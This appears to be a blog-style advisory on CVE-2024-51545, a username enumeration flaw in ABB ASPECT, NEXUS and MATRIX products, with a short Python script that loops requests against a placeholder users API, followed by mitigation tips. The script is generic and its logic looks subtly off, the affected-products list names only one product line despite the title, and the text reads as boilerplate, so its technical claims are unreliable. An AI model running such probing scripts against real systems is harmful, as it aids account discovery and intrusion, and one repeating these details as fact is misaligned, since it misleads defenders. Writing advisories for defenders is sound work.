CVE-2024-51545: Exploring Username Enumeration Vulnerabilities in ABB ASPECT, NEXUS and MATRIX Series Products

In recent times, we have seen a concerning increase in cyber attacks, highlighting a growing need to fortify security measures. One such vulnerability that demands attention is the CVE-2024-51545, a Username Enumeration vulnerability. This vulnerability exposes sensitive information by compromising the application level username add, delete, modify, and list functions. The affected products include:

MATRIX Series v3.08.02

Let's dive deeper into the technical details of CVE-2024-51545, including its exploit details, code snippet, and relevant links to original references.

Exploit Details

By exploiting the Username Enumeration vulnerability in the affected products, attackers can easily discover and exploit valid usernames, which can potentially lead to unauthorized access or information disclosure. As a result, organizations using the aforementioned products should take immediate action to mitigate the threat.

Here's an example of a code snippet that demonstrates the exploit

import requests

url = "https://vulnerable_application/api/users";
headers = {"Authorization": "Bearer ACCESS_TOKEN"}

for i in range(100):
    payload = {
        "username": f"user{i}",
        "password": "generic_password",
    }
    response = requests.post(url, headers=headers, json=payload)

    if response.status_code == 200:
        print(f"[*] Valid username found: user{i}")

print("[+] Username enumeration completed.")

This code snippet uses Python's requests library to send HTTP requests to the affected application's API to probe potential usernames. If the application returns a 200 OK response status code, it indicates that this user exists, effectively exploiting the Username Enumeration vulnerability.

1. Keep your software up to date: Make sure you are running the most recent software versions provided by ABB ASPECT, NEXUS Series, and MATRIX Series. Often, such updates address known vulnerabilities or security issues.

2. Implement rate limiting and user request filtering: To prevent brute force attacks and reduce the likelihood of successful username enumeration, limit the number of requests users can make to sensitive API endpoints.

3. Employ proper authentication and authorization mechanisms: Implement strong authentication and authorization procedures to prevent unauthorized users from accessing any functionality that may facilitate username enumeration.

4. Monitor network traffic and application logs: Regularly check for unusual activity indicative of a potential attempt to exploit this vulnerability.

The implications of CVE-2024-51545 are far-reaching, so it is crucial to be vigilant and take immediate steps to safeguard your systems from potential attacks. By staying informed, updating software, and employing recommended security practices, you can protect your organization from this vulnerability.
